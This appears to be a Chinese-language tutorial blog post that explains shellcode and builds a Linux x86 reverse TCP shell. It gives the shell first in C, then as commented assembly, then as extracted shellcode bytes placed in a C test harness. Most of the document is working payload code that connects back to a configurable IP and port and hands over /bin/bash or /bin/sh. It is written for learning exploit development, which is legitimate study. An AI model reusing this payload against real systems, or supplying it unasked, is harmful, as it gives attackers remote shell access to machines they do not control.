什么是shellcode?
Shellcode通常指的是一段用于攻击的机器码(二进制代码),可以被注入到目标计算机中并在其中执行。Shellcode 的目的是利用目标系统的漏洞或弱点,以获取系统控制权或执行恶意操作。它的名称来自于它经常被注入到攻击者编写的恶意软件的 shell 环境中,以便让攻击者可以更轻松地与目标系统进行交互和控制。
Shellcode通常是用汇编语言编写的,因为它需要直接操作计算机硬件和内存,而汇编语言是最接近机器语言的高级语言。Shellcode 通常非常小,因为它需要在目标计算机的内存中占用尽可能少的空间,以避免被检测和拦截。Shellcode可以执行各种攻击,例如缓冲区溢出、代码注入、拒绝服务攻击等。为了防止 Shellcode 的攻击,许多操作系统和应用程序采用了各种防御机制,例如 DEP(数据执行保护)、ASLR(地址空间布局随机化)等。
shellcode测试代码
可以用下面的C代码对shellcode进行测试:
int main(int argc, char ** argv) {
char code[] = "shellcode"; // shellcode
int (*func)(); // 函数指针
func = (int(*)()) code; // 将函数指针指向shellcode
(int)(*func)(); // 执行shellcode
return 1;
}
C语言实现Reverse TCP Shell
C语言实现的Reverse TCP Shell分为以下几个步骤:
(1)创建套接字
(2)连接到指定ip:port
(3)通过dup2重定向stdin、stdout、stderr
(4)启动shell
代码如下:
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(void) {
// 攻击者IP
const char* ip = "127.0.0.1";
// 用于保存ip:port的结构体
struct sockaddr_in addr;
addr.sin_family = AF_INET; // ipv4
addr.sin_port = htons(4444); // 端口
inet_aton(ip, &addr.sin_addr); // 将字符串形式的ip转换为二进制形式并存储到addr.sin_addr
int sockfd = socket(AF_INET, SOCK_STREAM, 0); // 创建TCP套接字
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)); // 连接到指定ip:port
// 将当前进程的标准输入、输出和错误输出(文件描述符 0、1、2)重定向到套接字描述符sockfd
for (int i = 0; i < 3; i ++) {
dup2(sockfd, i);
}
execve("/bin/bash", NULL, NULL);
return 0;
}
在kali上进行调试:
汇编实现Reverse TCP Shell
在使用汇编实现之前,先补充一点必要的汇编知识:
mov eax, 32 ; 将32复制给eax寄存器
xor eax, eax ; 对eax寄存器进行异或操作,相当于清零
push eax ; 将eax压入栈中
pop ebx ; 将栈顶的值赋值给ebx寄存器
call func ; 调用func函数
int 0x80 ; 中断
实现socket()
使用汇编实现Reverse TCP Shell,需要的步骤和C语言实现是一样的,这里直接对C语言进行改写。
首先需要调用0x66
(SYS_SOCKETCALL)才可以使用套接字,首先清空eax
寄存器:
push 0x66 ; 调用sys_socketcall
pop eax ; 将栈顶的值存放到eax,即eax=0x66
socketcall
调用的不同函数可以在/usr/include/linux/net.h
文件中找到:
点击查看代码
┌──(kali㉿kali)-[~]
└─$ cat /usr/include/linux/net.h
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
/*
* NET An implementation of the SOCKET network access protocol.
* This is the master header file for the Linux NET layer,
* or, in plain English: the networking handling part of the
* kernel.
*
* Version: @(#)net.h 1.0.3 05/25/93
*
* Authors: Orest Zborowski, <[email protected]>
* Ross Biro
* Fred N. van Kempen, <[email protected]>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#ifndef _LINUX_NET_H
#define _LINUX_NET_H
#include <linux/socket.h>
#include <asm/socket.h>
#define NPROTO AF_MAX
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
typedef enum {
SS_FREE = 0, /* not allocated */
SS_UNCONNECTED, /* unconnected to any socket */
SS_CONNECTING, /* in process of connecting */
SS_CONNECTED, /* connected to socket */
SS_DISCONNECTING /* in process of disconnecting */
} socket_state;
#define __SO_ACCEPTCON (1 << 16) /* performed a listen */
#endif /* _LINUX_NET_H */
这里使用的是SYS_SOCKET(0x1)
,将0x1
放入ebx
寄存器:
push 0x1 ; sys_socket
pop ebx ; 将0x1保存到ebx
可以看到在C语言中调用socket()
时需要三个参数,socket_family
、socket_type
、protocol
,这三个参数分别在/usr/include/bits/socket.h
、/usr/include/bits/socket_type.h
、/usr/include/linux/in.h
文件中(如果没有bits
文件夹,可以通过sudo apt-get install gcc-multilib g++-multilib
命令进行修复)。
/usr/include/bits/socket.h
:
/usr/include/bits/socket_type.h
:
/usr/include/linux/in.h
:
基于此,对照C语言代码int sockfd = socket(AF_INET, SOCK_STREAM, 0);
,我们将这三个参数分别压入堆栈:
xor edx, edx ; 将edx清零
;int socket(int domain, int type, int protocol);
push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)
由于ecx
需要指向这个结构体,所以将esp
当前值赋值给ecx
mov ecx, esp ;将ecx指向栈顶
最后,调用syscall
,它会检查eax
中的值,通知内核程序想要进行的系统调用,调用完成后会将结果存储在eax
中:
int 0x80 ; syscall (exec sys_socket)
将eax
中的结果保存到edx中
xchg edx, eax ; 保存sockfd结果
实现connect()
接着实现connect(),连接到指定的IP和端口,再次使用socketcall
;int socketcall(int call, unsigned long *args);
mov al, 0x66 ; socketcall 102
对照C语言代码,此时需要使用connect
,connect
函数有三个参数int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
,其中sockaddr
结构如下:
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
};
将sockaddr
结构所需的参数保存下来:
push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order)
push word 0x5c11 ; sin_port = 4444
因为在socket()
调用时处理了socket_type
,此时ebx
中的值为0x1
,而这里传参为SOCK_STREAM
,所以ebx
直接自增为0x2
即可。
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET
然后将指向sockaddr
结构体的堆栈指针保存到ecx
寄存器:
mov ecx, esp ;将指向sockaddr结构体的堆栈指针保存下来
后续的操作为:
push 0x10 ; addrlen = 16
push ecx ; const struct sockaddr * addr
push edx ; sockfd
mov ecx, esp ; 将堆栈指针保存到ecx
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)
实现通过dup2的重定向stdin、stdout、stderr
对应C语言中:
for (int i = 0; i < 3; i ++) {
dup2(sockfd, i);
}
首先,设置ecx
计数器用于循环
push 0x2 ;设置循环次数
pop ecx ;将循环次数保存到ecx
现在只需要将socket文件描述符保存到ebx
:
xchg ebx, edx
接着编写循环内的代码:
dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; 减少次数
jns dup ; SF标志位为0跳转到dup
实现execve启动shell
; int execve(const char *filename, char *const argv[],char *const envp[]);
mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx ; argv=0
mov edx, ecx ; envp=0
push edx ; terminating NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; save pointer to filename
int 0x80 ; syscall: exec sys_execve
完整代码
section .bss
section .text
global _start ;申明函数的起始地址
_start: ; linker entry point
; 创建socket
; int socketcall(int call, unsigned long *args);
push 0x66 ; sys_socketcall 102
pop eax ; 将0x66保存到eax
push 0x1 ; sys_socket 0x1
pop ebx ; 将0x1保存到ebx
xor edx, edx ; edx清零
; int socket(int domain, int type, int protocol);
push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)
mov ecx, esp ; 将堆栈指针保存到ecx
int 0x80 ; syscall (exec sys_socket)
xchg edx, eax ; 保存sockfd的结果
; int socketcall(int call, unsigned long *args);
mov al, 0x66 ; socketcall 102
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order)
push word 0x5c11 ; sin_port = 4444
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET
mov ecx, esp ; 保存sockaddr堆栈指针
push 0x10 ; addrlen = 16
push ecx ; const struct sockaddr *addr
push edx ; sockfd
mov ecx, esp ; 在ecx中保存sockaddr_in指针
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)
; 实现dup2(sockfd, i);循环
push 0x2 ; 设置循环次数
pop ecx ; 将循环次数保存到ecx
xchg ebx, edx ; 保存sockfd结果
dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; 减少循环次数
jns dup ; SF标志位为0跳转到dup
; spawn /bin/sh using execve
; int execve(const char *filename, char *const argv[],char *const envp[]);
mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx ; argv=0
mov edx, ecx ; envp=0
push edx ; terminating NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; 保存栈顶地址
int 0x80 ; syscall: exec sys_execve
测试汇编代码
┌──(kali㉿kali)-[~]
└─$ nasm -f elf32 -o rev.o rev.asm // 将rev.asm编译成目标文件rev.o
┌──(kali㉿kali)-[~]
└─$ ld -m elf_i386 -o rev rev.o // 将目标文件rev.o链接橙可执行文件rev
在本机监听444端口:
接着提取字节码:
objdump -d ./rev|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
shellcode字节码为:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
然后将shellcode字节码带入上面的shellcode测试代码:
int main(int argc, char ** argv) {
char code[] = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
int (*func)();
func = (int(*)()) code;
(int)(*func)();
return 1;
}
编译C语言代码并运行:
gcc -z execstack -m32 -o testshellcode testshellcode.c